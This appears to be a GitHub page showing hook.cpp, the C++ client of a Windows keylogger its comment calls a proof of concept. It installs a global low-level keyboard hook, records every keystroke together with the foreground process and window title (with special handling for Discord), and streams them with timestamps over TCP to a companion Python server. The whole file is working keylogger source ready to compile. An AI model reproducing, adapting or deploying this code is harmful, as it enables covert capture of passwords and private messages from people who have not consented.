-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathhook.cpp
More file actions
177 lines (149 loc) · 5.8 KB
/
Copy pathhook.cpp
File metadata and controls
177 lines (149 loc) · 5.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
/*
Cliente de PoC de keylogger de bajo nivel en Windows.
Este programa en C++ instala un hook global de teclado usando la API
SetWindowsHookEx con WH_KEYBOARD_LL, lo que permite interceptar todas las
teclas presionadas en el sistema antes de que lleguen a las aplicaciones.
Además, obtiene información de contexto como el proceso activo y el título
de la ventana donde ocurre la entrada.
Cada pulsación capturada se convierte a UTF-8, se normalizan las teclas
especiales (ENTER, BACKSPACE, SHIFT, etc.) y se empaqueta junto con la hora
en el formato:
<Proceso.exe - Ventana>|<Tecla>|<HH:MM:SS>
Posteriormente, los datos se envían mediante socket TCP al servidor en Python
(servidor.py), que los muestra en tiempo real en una interfaz gráfica.
*/
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <psapi.h>
#include <string>
#include <regex>
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "kernel32.lib")
#pragma comment(lib, "Psapi.lib")
#pragma comment(lib, "Ws2_32.lib")
HHOOK g_hHook = NULL;
SOCKET g_sock = INVALID_SOCKET;
std::string SanitizeTitle(const std::string &raw) {
std::string clean = raw;
std::regex re("(Discord)(\\s+-\\s+\\1)+");
clean = std::regex_replace(clean, re, "Discord");
if (clean.size() > 200) clean = clean.substr(0, 200) + "...";
return clean;
}
void GetActiveProcessAndWindow(std::string &procName, std::string &winTitle) {
HWND hwnd = GetForegroundWindow();
HWND root = GetAncestor(hwnd, GA_ROOTOWNER);
if (root) hwnd = root;
DWORD pid = 0;
GetWindowThreadProcessId(hwnd, &pid);
procName = "[unknown]";
winTitle = "[unknown]";
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
if (hProc) {
HMODULE hMod;
DWORD cbNeeded;
if (EnumProcessModules(hProc, &hMod, sizeof(hMod), &cbNeeded)) {
char szName[MAX_PATH];
if (GetModuleBaseNameA(hProc, hMod, szName, MAX_PATH)) {
procName = szName;
}
}
CloseHandle(hProc);
}
char title[1024];
if (GetWindowTextA(hwnd, title, sizeof(title))) {
winTitle = SanitizeTitle(title);
}
if (procName == "Discord.exe" && winTitle == "[unknown]") {
winTitle = "Discord (grupo/canal activo)";
}
}
std::string MapSpecialKey(DWORD vkCode) {
switch (vkCode) {
case VK_RETURN: return "[ENTER]";
case VK_BACK: return "[BACKSPACE]";
case VK_TAB: return "[TAB]";
case VK_SHIFT: case VK_LSHIFT: case VK_RSHIFT: return "[SHIFT]";
case VK_CONTROL: case VK_LCONTROL: case VK_RCONTROL: return "[CTRL]";
case VK_MENU: case VK_LMENU: case VK_RMENU: return "[ALT]";
case VK_ESCAPE: return "[ESC]";
case VK_SPACE: return " ";
default: return "";
}
}
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) {
KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam;
std::string procName, winTitle;
GetActiveProcessAndWindow(procName, winTitle);
BYTE kState[256];
WCHAR bufW[8];
GetKeyboardState(kState);
HKL layout = GetKeyboardLayout(0);
std::string keyStr;
int res = ToUnicodeEx(kb->vkCode, kb->scanCode, kState, bufW, 8, 0, layout);
if (res > 0) {
char utf8[16];
int len = WideCharToMultiByte(CP_UTF8, 0, bufW, res, utf8, sizeof(utf8), NULL, NULL);
if (len > 0) keyStr.assign(utf8, len);
} else if (res == -1) {
keyStr.clear();
ToUnicodeEx(kb->vkCode, kb->scanCode, kState, bufW, 8, 0, layout);
} else {
keyStr = MapSpecialKey(kb->vkCode);
if (keyStr.empty()) {
UINT mapped = MapVirtualKeyW(kb->vkCode, MAPVK_VK_TO_CHAR);
if (mapped) {
wchar_t wc = (wchar_t)mapped;
char utf8[8];
int l = WideCharToMultiByte(CP_UTF8, 0, &wc, 1, utf8, sizeof(utf8), NULL, NULL);
if (l > 0) keyStr.assign(utf8, l);
}
if (keyStr.empty()) {
keyStr = "";
}
}
}
SYSTEMTIME st;
GetLocalTime(&st);
char packet[4096];
int len = snprintf(packet, sizeof(packet),
"%s - %s|%s|%02d:%02d:%02d\n",
procName.c_str(), winTitle.c_str(),
keyStr.c_str(),
st.wHour, st.wMinute, st.wSecond);
if (len > 0 && g_sock != INVALID_SOCKET) {
int toSend = (len > 1024) ? 1024 : len;
send(g_sock, packet, toSend, 0);
}
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
int main() {
WSADATA wsa;
if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) return 1;
g_sock = socket(AF_INET, SOCK_STREAM, 0);
if (g_sock == INVALID_SOCKET) return 1;
sockaddr_in serv{};
serv.sin_family = AF_INET;
serv.sin_port = htons(5555);
inet_pton(AF_INET, "127.0.0.1", &serv.sin_addr);
if (connect(g_sock, (sockaddr*)&serv, sizeof(serv)) != 0) {
closesocket(g_sock);
g_sock = INVALID_SOCKET;
}
g_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
if (!g_hHook) return 1;
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(g_hHook);
if (g_sock != INVALID_SOCKET) {
closesocket(g_sock);
WSACleanup();
}
return 0;
}